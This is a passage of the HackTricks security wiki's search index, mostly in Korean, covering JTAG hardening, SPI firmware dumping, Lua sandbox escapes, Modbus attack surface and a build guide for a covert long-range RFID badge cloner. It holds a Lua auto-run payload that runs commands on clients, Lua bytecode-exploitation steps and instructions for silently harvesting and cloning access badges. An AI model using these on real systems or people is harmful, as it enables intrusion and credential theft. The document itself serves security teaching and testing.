프로브가 필요할 수 있습니다.","breadcrumbs":"Hardware Hacking » JTAG » 현대 대상 및 주의 사항","id":"10297","title":"현대 대상 및 주의 사항"},"10298":{"body":"생산 중 JTAG/SWD를 영구적으로 비활성화하거나 잠급니다(예: STM32 RDP 레벨 2, PAD JTAG를 비활성화하는 ESP eFuses, NXP/Nordic APPROTECT/DPAP). 제조 접근을 유지하면서 인증된 디버그(ARMv8.2‑A ADIv6 디버그 인증, OEM 관리 챌린지-응답)를 요구합니다. 쉬운 테스트 패드를 라우팅하지 마십시오; 테스트 비아를 묻고, TAP을 격리하기 위해 저항을 제거/배치하며, 키가 있는 커넥터 또는 포고 핀 고정을 사용합니다. 전원 켜기 디버그 잠금: 초기 ROM 뒤에 TAP을 게이트하여 보안 부팅을 강제합니다.","breadcrumbs":"Hardware Hacking » JTAG » 방어 및 강화(실제 장치에서 기대할 수 있는 것)","id":"10298","title":"방어 및 강화(실제 장치에서 기대할 수 있는 것)"},"10299":{"body":"OpenOCD 사용자 가이드 – JTAG 명령 및 구성. https://openocd.org/doc-release/html/JTAG-Commands.html Espressif ESP32‑S3 JTAG 디버깅(USB‑JTAG, OpenOCD 사용). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » JTAG » 참조","id":"10299","title":"참조"},"103":{"body":"Wake On Lan은 네트워크 메시지를 통해 컴퓨터를 켜는 데 사용됩니다. 컴퓨터를 켜는 데 사용되는 매직 패킷은 MAC Dst 가 포함된 패킷으로, 동일한 패킷 안에서 그 값이 16번 반복 됩니다. 이러한 패킷은 보통 ethernet 0x0842 또는 UDP packet to port 9 로 전송됩니다. 만약 **no [MAC]**가 제공되지 않으면, 패킷은 broadcast ethernet 으로 전송됩니다(그리고 브로드캐스트 MAC이 반복되는 값이 됩니다). bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)\\nwol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842\\nwol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9","breadcrumbs":"Pentesting Network » Wake On Lan","id":"103","title":"Wake On Lan"},"1030":{"body":"호스트 애플리케이션이 clients에 스크립트를 푸시하고 VM이 auto-run hooks를 노출한다면(예: OnInit/OnLoad/OnEnter), 스크립트가 로드되자마자 drive-by compromise를 위해 payload를 그곳에 배치하세요: lua function OnInit()\\nio.popen(\\"calc.exe\\") -- or any command\\nend Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.","breadcrumbs":"Lua Sandbox Escape » Zero-click triggers via auto-run callbacks","id":"1030","title":"Zero-click triggers via auto-run callbacks"},"10300":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » SPI » SPI","id":"10300","title":"SPI"},"10301":{"body":"SPI (Serial Peripheral Interface)는 IC(집적 회로) 간의 단거리 통신을 위해 임베디드 시스템에서 사용되는 동기식 직렬 통신 프로토콜입니다. SPI 통신 프로토콜은 클럭 및 칩 선택 신호에 의해 조정되는 마스터-슬레이브 아키텍처를 사용합니다. 마스터-슬레이브 아키텍처는 EEPROM, 센서, 제어 장치 등과 같은 외부 주변 장치를 관리하는 마스터(일반적으로 마이크로프로세서)로 구성되며, 이들은 슬레이브로 간주됩니다. 여러 슬레이브가 마스터에 연결될 수 있지만 슬레이브끼리는 서로 통신할 수 없습니다. 슬레이브는 클럭 및 칩 선택의 두 핀으로 관리됩니다. SPI는 동기식 통신 프로토콜이므로 입력 및 출력 핀은 클럭 신호를 따릅니다. 칩 선택은 마스터가 슬레이브를 선택하고 상호작용하는 데 사용됩니다. 칩 선택이 높을 때 슬레이브 장치는 선택되지 않으며, 낮을 때는 칩이 선택되어 마스터가 슬레이브와 상호작용하게 됩니다. MOSI (Master Out, Slave In) 및 MISO (Master In, Slave Out)는 데이터 전송 및 수신을 담당합니다. 데이터는 MOSI 핀을 통해 슬레이브 장치로 전송되며, 이때 칩 선택은 낮게 유지됩니다. 입력 데이터는 슬레이브 장치 공급업체의 데이터 시트에 따라 명령, 메모리 주소 또는 데이터가 포함됩니다. 유효한 입력이 있을 경우, MISO 핀은 마스터로 데이터를 전송하는 역할을 합니다. 출력 데이터는 입력이 끝난 다음 클럭 주기에서 정확히 전송됩니다. MISO 핀은 데이터가 완전히 전송되거나 마스터가 칩 선택 핀을 높게 설정할 때까지 데이터를 전송합니다(이 경우 슬레이브는 전송을 중지하고 마스터는 그 이후의 클럭 주기에서 듣지 않습니다).","breadcrumbs":"Hardware Hacking » SPI » 기본 정보","id":"10301","title":"기본 정보"},"10302":{"body":"펌웨어 덤프는 펌웨어를 분석하고 그 안의 취약점을 찾는 데 유용할 수 있습니다. 종종 펌웨어는 인터넷에서 사용할 수 없거나 모델 번호, 버전 등과 같은 다양한 요인으로 인해 관련성이 없습니다. 따라서 물리적 장치에서 직접 펌웨어를 추출하는 것이 위협을 탐색하는 데 도움이 될 수 있습니다. 직렬 콘솔을 얻는 것은 유용할 수 있지만, 종종 파일이 읽기 전용인 경우가 있습니다. 이는 다양한 이유로 분석을 제약합니다. 예를 들어, 패키지를 전송하고 수신하는 데 필요한 도구가 펌웨어에 없을 수 있습니다. 따라서 이진 파일을 추출하여 리버스 엔지니어링하는 것은 실현 가능하지 않습니다. 따라서 시스템에 전체 펌웨어를 덤프하고 분석을 위해 이진 파일을 추출하는 것이 매우 유용할 수 있습니다. 또한, 레드 팀 활동 중 장치에 물리적으로 접근할 때, 펌웨어를 덤프하면 파일을 수정하거나 악성 파일을 주입한 후 메모리에 다시 플래시하는 데 도움이 될 수 있으며, 이는 장치에 백도어를 심는 데 유용할 수 있습니다. 따라서 펌웨어 덤프를 통해 잠금 해제할 수 있는 수많은 가능성이 있습니다.","breadcrumbs":"Hardware Hacking » SPI » EEPROM에서 펌웨어 덤프하기","id":"10302","title":"EEPROM에서 펌웨어 덤프하기"},"10303":{"body":"이 장치는 EEPROM에서 펌웨어를 덤프하고 펌웨어 파일로 다시 플래시하는 데 사용되는 저렴한 도구입니다. 이는 컴퓨터 BIOS 칩(단순히 EEPROM임) 작업에 인기 있는 선택입니다. 이 장치는 USB를 통해 연결되며 시작하는 데 최소한의 도구가 필요합니다. 또한 일반적으로 작업을 빠르게 완료하므로 물리적 장치 접근에도 유용할 수 있습니다. drawing CH341a 프로그래머와 EEPROM 메모리를 연결하고 장치를 컴퓨터에 연결합니다. 장치가 감지되지 않는 경우, 컴퓨터에 드라이버를 설치해 보십시오. 또한 EEPROM이 올바른 방향으로 연결되어 있는지 확인하십시오(일반적으로 VCC 핀을 USB 커넥터와 반대 방향으로 배치) 그렇지 않으면 소프트웨어가 칩을 감지할 수 없습니다. 필요시 다이어그램을 참조하십시오: drawing drawing 마지막으로 flashrom, G-Flash (GUI) 등의 소프트웨어를 사용하여 펌웨어를 덤프합니다. G-Flash는 최소한의 GUI 도구로 빠르며 EEPROM을 자동으로 감지합니다. 이는 펌웨어를 신속하게 추출해야 할 때, 문서와 많은 조작 없이 유용할 수 있습니다. drawing 펌웨어를 덤프한 후, 이진 파일에 대한 분석을 수행할 수 있습니다. strings, hexdump, xxd, binwalk 등의 도구를 사용하여 펌웨어 및 전체 파일 시스템에 대한 많은 정보를 추출할 수 있습니다. 펌웨어에서 내용을 추출하기 위해 binwalk를 사용할 수 있습니다. Binwalk는 헥사 서명을 분석하고 이진 파일에서 파일을 식별하며 이를 추출할 수 있는 기능이 있습니다. binwalk -e 이것은 사용된 도구와 구성에 따라 .bin 또는 .rom일 수 있습니다. caution 펌웨어 추출은 섬세한 과정이며 많은 인내가 필요합니다. 잘못 다루면 펌웨어가 손상되거나 완전히 지워져 장치가 사용 불가능해질 수 있습니다. 펌웨어를 추출하기 전에 특정 장치를 연구하는 것이 권장됩니다.","breadcrumbs":"Hardware Hacking » SPI » CH341A EEPROM 프로그래머 및 리더","id":"10303","title":"CH341A EEPROM 프로그래머 및 리더"},"10304":{"body":"Pirate Bus의 핀 배치가 SPI에 연결할 MOSI 및 MISO 핀을 나타내더라도 일부 SPI는 핀을 DI 및 DO로 나타낼 수 있습니다. MOSI -> DI, MISO -> DO Windows 또는 Linux에서는 flashrom 프로그램을 사용하여 다음과 같이 플래시 메모리의 내용을 덤프할 수 있습니다: bash # In this command we are indicating:\\n# -VV Verbose\\n# -c The chip (if you know it better, if not, don\'tindicate it and the program might be able to find it)\\n# -p In this case how to contact th chip via the Bus Pirate\\n# -r Image to save in the filesystem\\nflashrom -VV -c \\"W25Q64.V\\" -p buspirate_spi:dev=COM3 -r flash_content.img tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Hardware Hacking » SPI » Bus Pirate + flashrom","id":"10304","title":"Bus Pirate + flashrom"},"10305":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Industrial Control Systems Hacking » 산업 제어 시스템 해킹","id":"10305","title":"산업 제어 시스템 해킹"},"10306":{"body":"이 섹션은 산업 제어 시스템에 대한 모든 내용을 포함하고 있으며, 개념과 다양한 보안 문제를 해킹하는 방법론을 다룹니다. 산업 제어 시스템은 어디에나 존재하며, 산업은 국가의 경제 발전에 필수적입니다. 그러나 이러한 ICS는 업데이트가 어렵고 이 분야에서의 발전이 적습니다. 따라서 보안 결함을 찾는 것이 일반적입니다. 여기에서 사용되는 대부분의 프로토콜과 표준은 90년대에 개발되었으며 현재의 공격 시나리오에 비해 기능이 훨씬 떨어집니다. 이 시스템을 보호하는 것이 중요해졌습니다. 왜냐하면 이들을 손상시키는 것은 많은 비용과 최악의 경우 생명까지 잃을 수 있기 때문입니다. 산업 제어 시스템 보안을 이해하기 위해서는 이들의 내부 구조를 아는 것이 필요합니다. 산업 제어 시스템은 정해진 표준에 따라 설치되므로 각 구성 요소를 아는 것이 제어 시스템의 다른 모든 메커니즘을 상호 연결하는 데 도움이 됩니다. PLC 및 SCADA 시스템과 같은 이러한 장치의 설치는 다양한 산업에서 다르므로 정보 수집이 중요합니다. 산업 제어 시스템은 때때로 복잡할 수 있으며, 따라서 어떤 작업을 수행하기 위해 많은 인내가 필요합니다. 공격 계획 및 익스플로잇 개발 전에 탐색 및 정찰이 중요합니다. 이 기술은 공격에 대한 방어 및 산업 제어 시스템을 위한 블루 팀 활동에도 사용할 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Industrial Control Systems Hacking » 이 섹션에 대하여","id":"10306","title":"이 섹션에 대하여"},"10307":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Industrial Control Systems Hacking » Modbus Protocol » Modbus 프로토콜","id":"10307","title":"Modbus 프로토콜"},"10308":{"body":"Modbus 프로토콜은 산업 자동화 및 제어 시스템에서 널리 사용되는 프로토콜입니다. Modbus는 프로그래머블 로직 컨트롤러(PLC), 센서, 액추에이터 및 기타 산업 장치와 같은 다양한 장치 간의 통신을 허용합니다. Modbus 프로토콜을 이해하는 것은 ICS에서 가장 많이 사용되는 통신 프로토콜이며, 스니핑 및 PLC에 명령을 주입할 수 있는 많은 공격 표면이 있기 때문에 필수적입니다. 여기서는 프로토콜의 맥락과 작동 방식을 제공하는 개념을 포인트별로 설명합니다. ICS 시스템 보안의 가장 큰 도전 과제는 구현 및 업그레이드 비용입니다. 이러한 프로토콜과 표준은 80년대와 90년대 초기에 설계되었으며 여전히 널리 사용되고 있습니다. 산업에는 많은 장치와 연결이 있기 때문에 장치를 업그레이드하는 것이 매우 어렵고, 이는 해커에게 구식 프로토콜을 다룰 수 있는 우위를 제공합니다. Modbus에 대한 공격은 업그레이드 없이 사용될 것이기 때문에 사실상 피할 수 없습니다. 이는 산업에 중요한 작동입니다.","breadcrumbs":"Industrial Control Systems Hacking » Modbus Protocol » Modbus 프로토콜 소개","id":"10308","title":"Modbus 프로토콜 소개"},"10309":{"body":"Modbus 프로토콜은 일반적으로 클라이언트-서버 아키텍처로 사용되며, 여기서 마스터 장치(클라이언트)가 하나 이상의 슬레이브 장치(서버)와 통신을 시작합니다. 이는 전자 및 IoT에서 SPI, I2C 등과 함께 널리 사용되는 마스터-슬레이브 아키텍처라고도 합니다.","breadcrumbs":"Industrial Control Systems Hacking » Modbus Protocol » 클라이언트-서버 아키텍처","id":"10309","title":"클라이언트-서버 아키텍처"},"1031":{"body":"During _G enumeration, specifically look for: io, os: io.popen, os.execute, 파일 I/O, 환경 접근. load, loadstring, loadfile, dofile: 소스 또는 바이트코드 실행; 신뢰할 수 없는 바이트코드 로딩을 허용. package, package.loadlib, require: 동적 라이브러리 로딩 및 모듈 인터페이스. debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, 및 훅. LuaJIT-only: ffi.cdef, ffi.load to call native code directly. Minimal usage examples (if reachable): lua -- Execute source/bytecode\\nlocal f = load(\\"return 1+1\\")\\nprint(f()) -- 2 -- loadstring is alias of load for strings in 5.1\\nlocal bc = string.dump(function() return 0x1337 end)\\nlocal g = loadstring(bc) -- in 5.1 may run precompiled bytecode\\nprint(g()) -- Load native library symbol (if allowed)\\nlocal mylib = package.loadlib(\\"./libfoo.so\\", \\"luaopen_foo\\")\\nlocal foo = mylib()","breadcrumbs":"Lua Sandbox Escape » Recon 동안 찾아야 할 위험한 프리미티브","id":"1031","title":"Recon 동안 찾아야 할 위험한 프리미티브"},"10310":{"body":"Modbus 프로토콜은 직렬 통신과 이더넷 통신 모두를 위해 설계되었습니다. 직렬 통신은 레거시 시스템에서 널리 사용되는 반면, 현대 장치는 이더넷을 지원하여 높은 데이터 전송 속도를 제공하며 현대 산업 네트워크에 더 적합합니다.","breadcrumbs":"Industrial Control Systems Hacking » Modbus Protocol » 직렬 및 이더넷 버전","id":"10310","title":"직렬 및 이더넷 버전"},"10311":{"body":"Modbus 프로토콜에서 데이터는 ASCII 또는 이진 형식으로 전송되며, 이진 형식은 구형 장치와의 호환성 때문에 사용됩니다.","breadcrumbs":"Industrial Control Systems Hacking » Modbus Protocol » 데이터 표현","id":"10311","title":"데이터 표현"},"10312":{"body":"ModBus 프로토콜은 PLC 및 다양한 제어 장치를 작동하는 데 사용되는 특정 기능 코드의 전송으로 작동합니다. 이 부분은 기능 코드를 재전송하여 재생 공격을 수행할 수 있기 때문에 이해하는 것이 중요합니다. 레거시 장치는 데이터 전송에 대한 암호화를 지원하지 않으며, 일반적으로 긴 전선으로 연결되어 있어 이러한 전선의 변조 및 데이터 캡처/주입이 발생할 수 있습니다.","breadcrumbs":"Industrial Control Systems Hacking » Modbus Protocol » 기능 코드","id":"10312","title":"기능 코드"},"10313":{"body":"네트워크의 각 장치는 장치 간 통신에 필수적인 고유 주소를 가지고 있습니다. Modbus RTU, Modbus TCP 등의 프로토콜이 주소 지정을 구현하는 데 사용되며, 데이터 전송을 위한 전송 계층 역할을 합니다. 전송되는 데이터는 메시지를 포함하는 Modbus 프로토콜 형식입니다. 또한, Modbus는 전송된 데이터의 무결성을 보장하기 위해 오류 검사를 구현합니다. 그러나 가장 중요한 것은 Modbus가 오픈 표준이라는 점이며, 누구나 자신의 장치에 이를 구현할 수 있습니다. 이로 인해 이 프로토콜은 글로벌 표준으로 자리 잡았으며 산업 자동화 산업에서 널리 퍼져 있습니다. 대규모 사용과 업그레이드 부족으로 인해 Modbus를 공격하는 것은 공격 표면에서 상당한 이점을 제공합니다. ICS는 장치 간의 통신에 크게 의존하며, 이들에 대한 공격은 산업 시스템의 운영에 위험할 수 있습니다. 재생, 데이터 주입, 데이터 스니핑 및 유출, 서비스 거부, 데이터 위조 등의 공격이 공격자가 전송 매체를 식별할 경우 수행될 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Industrial Control Systems Hacking » Modbus Protocol » Modbus의 주소 지정","id":"10313","title":"Modbus의 주소 지정"},"10314":{"body":"Reading time: 1 minute tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » 라디오 해킹","id":"10314","title":"라디오 해킹"},"10315":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 휴대용 HID MaxiProx 125 kHz 모바일 클로너 만들기","id":"10315","title":"휴대용 HID MaxiProx 125 kHz 모바일 클로너 만들기"},"10316":{"body":"전원 공급 장치가 연결된 HID MaxiProx 5375 장거리 125 kHz 리더를 현장 배포 가능한 배터리 구동 배지 클로너로 변환하여 물리적 보안 평가 중에 근접 카드를 조용히 수집합니다. 여기서 다루는 변환은 TrustedSec의 “Let’s Clone a Cloner – Part 3: Putting It All Together” 연구 시리즈를 기반으로 하며, 최종 장치가 배낭에 넣어 즉시 현장에서 사용할 수 있도록 기계적, 전기적 및 RF 고려 사항을 결합합니다. warning 전원 공급 장치가 연결된 장비와 리튬 이온 전원 은행을 조작하는 것은 위험할 수 있습니다. 회로에 전원을 공급하기 전에 모든 연결을 확인하고 리더의 조정이 해제되지 않도록 안테나, 동축 및 접지 평면을 공장 설계와 정확히 동일하게 유지하십시오.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 목표","id":"10316","title":"목표"},"10317":{"body":"HID MaxiProx 5375 리더 (또는 12 V HID Prox® 장거리 리더) ESP RFID Tool v2.2 (ESP32 기반 Wiegand 스니퍼/로거) 12 V @ ≥3 A를 협상할 수 있는 USB-PD (Power-Delivery) 트리거 모듈 100 W USB-C 전원 은행 (12 V PD 프로파일 출력) 26 AWG 실리콘 절연 연결선 – 빨강/흰색 패널 장착 SPST 토글 스위치 (비퍼 킬 스위치용) NKK AT4072 스위치 가드 / 사고 방지 캡 인두, 납 흡입기 및 납 흡입 펌프 ABS 등급의 수공구: 조각톱, 유틸리티 나이프, 평면 및 반원형 파일 드릴 비트 1/16″ (1.5 mm) 및 1/8″ (3 mm) 3 M VHB 양면 테이프 및 지퍼 타이","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 자재 목록 (BOM)","id":"10317","title":"자재 목록 (BOM)"},"10318":{"body":"로직 PCB에 5 V를 생성하는 데 사용되는 공장 버크 컨버터 자매 보드를 탈착하고 제거합니다. ESP RFID Tool 옆에 USB-PD 트리거를 장착하고 트리거의 USB-C 수신기를 인클로저 외부로 라우팅합니다. PD 트리거는 전원 은행에서 12 V를 협상하고 이를 MaxiProx에 직접 공급합니다 (리더는 본래 10–14 V를 기대합니다). ESP 보드에서 5 V 레일을 가져와 모든 액세서리를 전원 공급합니다. 100 W 배터리 팩은 내부 스탠드오프에 평평하게 위치하여 전혀 전원 케이블이 페라이트 안테나에 걸리지 않도록 하여 RF 성능을 유지합니다.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 1. 전원 하위 시스템","id":"10318","title":"1. 전원 하위 시스템"},"10319":{"body":"MaxiProx 로직 보드에서 두 개의 스피커 패드를 찾습니다. 두 패드를 깨끗이 청소한 후 음성 패드만 다시 납땜합니다. 비퍼 패드에 26 AWG 전선을 납땜하고 새로 자른 슬롯을 통해 패널 장착 SPST 스위치로 라우팅합니다. 스위치가 열리면 비퍼 회로가 끊어지고 리더가 완전한 침묵 속에서 작동합니다 – 비밀 배지 수집에 이상적입니다. 토글 위에 NKK AT4072 스프링 장착 안전 캡을 장착합니다. 조심스럽게 조각톱/파일로 구멍을 확대하여 스위치 본체에 걸리도록 합니다. 가드는 배낭 안에서 우발적인 작동을 방지합니다.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 2. 비퍼 킬 스위치 – 무음 작동","id":"10319","title":"2. 비퍼 킬 스위치 – 무음 작동"},"1032":{"body":"load/loadstring/loadfile가 접근 가능하지만 io/os가 제한된 경우, 조작된 Lua bytecode를 실행하면 메모리 노출 및 손상 프리미티브로 이어질 수 있습니다. 주요 내용: Lua ≤ 5.1은 알려진 우회가 있는 bytecode verifier를 포함하고 있었습니다. Lua 5.2는 verifier를 완전히 제거했습니다(공식 입장: 애플리케이션은 precompiled chunks를 거부해야 함). 따라서 bytecode loading이 금지되지 않으면 공격 표면이 넓어집니다. 일반적인 워크플로: in-VM 출력으로 포인터를 leak한 뒤, bytecode를 만들어 type confusions(예: FORLOOP 주변이나 다른 opcodes 관련)를 유발하고, 그다음 arbitrary read/write나 native code execution으로 전환합니다. 이 경로는 engine/version-specific하며 RE가 필요합니다. 심층 분석, exploitation primitives 및 게임에서의 예제 가젯은 참고문헌을 참조하세요.","breadcrumbs":"Lua Sandbox Escape » 선택적 권한 상승: Lua bytecode 로더 악용","id":"1032","title":"선택적 권한 상승: Lua bytecode 로더 악용"},"10320":{"body":"• 플러시 커터를 사용한 후 나이프 및 파일로 내부 ABS “돌출부”를 제거 하여 큰 USB-C 배터리가 스탠드오프에 평평하게 놓이도록 합니다. • USB-C 케이블을 위한 두 개의 평행 채널을 인클로저 벽에 조각합니다; 이는 배터리를 제자리에 고정하고 움직임/진동을 없앱니다. • 배터리의 전원 버튼을 위한 직사각형 구멍을 만듭니다: 위치 위에 종이 스텐실을 테이프로 붙입니다. 네 모서리에 1/16″ 파일럿 홀을 드릴합니다. 1/8″ 비트로 확대합니다. 조각톱으로 구멍을 연결하고 파일로 가장자리를 마무리합니다. ✱ 로터리 드레멜은 피하는 것이 좋습니다 – 고속 비트가 두꺼운 ABS를 녹여서 보기 흉한 가장자리를 남깁니다.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 3. 인클로저 및 기계 작업","id":"10320","title":"3. 인클로저 및 기계 작업"},"10321":{"body":"MaxiProx 로직 보드를 재설치하고 SMA 피그테일을 리더의 PCB 접지 패드에 다시 납땜합니다. ESP RFID Tool 및 USB-PD 트리거를 3 M VHB를 사용하여 장착합니다. 모든 배선을 지퍼 타이로 정리하여 전원 리드를 안테나 루프 에서 멀리 유지합니다. 인클로저 나사를 조여 배터리가 가볍게 압축되도록 합니다; 내부 마찰이 장치가 카드 판독 후 반동할 때 팩이 이동하는 것을 방지합니다.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 4. 최종 조립","id":"10321","title":"4. 최종 조립"},"10322":{"body":"125 kHz Pupa 테스트 카드를 사용하여 휴대용 클로너는 자유 공기에서 ≈ 8 cm 에서 일관된 판독을 달성했습니다 – 전원 공급 장치가 연결된 작동과 동일합니다. 리더를 얇은 금속 현금 상자 안에 배치 (은행 로비 책상을 시뮬레이션하기 위해) 하여 범위를 ≤ 2 cm로 줄였으며, 상당한 금속 인클로저가 효과적인 RF 차폐 역할을 한다는 것을 확인했습니다.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 5. 범위 및 차폐 테스트","id":"10322","title":"5. 범위 및 차폐 테스트"},"10323":{"body":"USB-C 배터리를 충전하고 연결한 후 메인 전원 스위치를 켭니다. (선택 사항) 비퍼 가드를 열고 벤치 테스트 시 가청 피드백을 활성화합니다; 비밀 현장 사용 전에 잠급니다. 목표 배지 소지자를 지나갑니다 – MaxiProx가 카드를 활성화하고 ESP RFID Tool이 Wiegand 스트림을 캡처합니다. 캡처된 자격 증명을 Wi-Fi 또는 USB-UART를 통해 덤프하고 필요에 따라 재생/클론합니다.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 사용 워크플로우","id":"10323","title":"사용 워크플로우"},"10324":{"body":"증상 가능한 원인 수정 카드가 제시될 때 리더가 재부팅됨 PD 트리거가 12 V가 아닌 9 V를 협상함 트리거 점퍼를 확인하거나 더 높은 전력 USB-C 케이블을 사용해 보십시오 판독 범위 없음 배터리 또는 배선이 안테나 위에 놓여 있음 케이블을 재배치하고 페라이트 루프 주위에 2 cm 간격을 유지하십시오 비퍼가 여전히 울림 스위치가 음성 리드 대신 양성 리드에 연결됨 킬 스위치를 이동하여 음성 스피커 트레이스를 끊습니다","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 문제 해결","id":"10324","title":"문제 해결"},"10325":{"body":"Let’s Clone a Cloner – Part 3 (TrustedSec) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Maxiprox Mobile Cloner » 참고 문헌","id":"10325","title":"참고 문헌"},"10326":{"body":"Reading time: 9 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Pentesting RFID » Pentesting RFID","id":"10326","title":"Pentesting RFID"},"10327":{"body":"Radio Frequency Identification (RFID) 는 가장 널리 사용되는 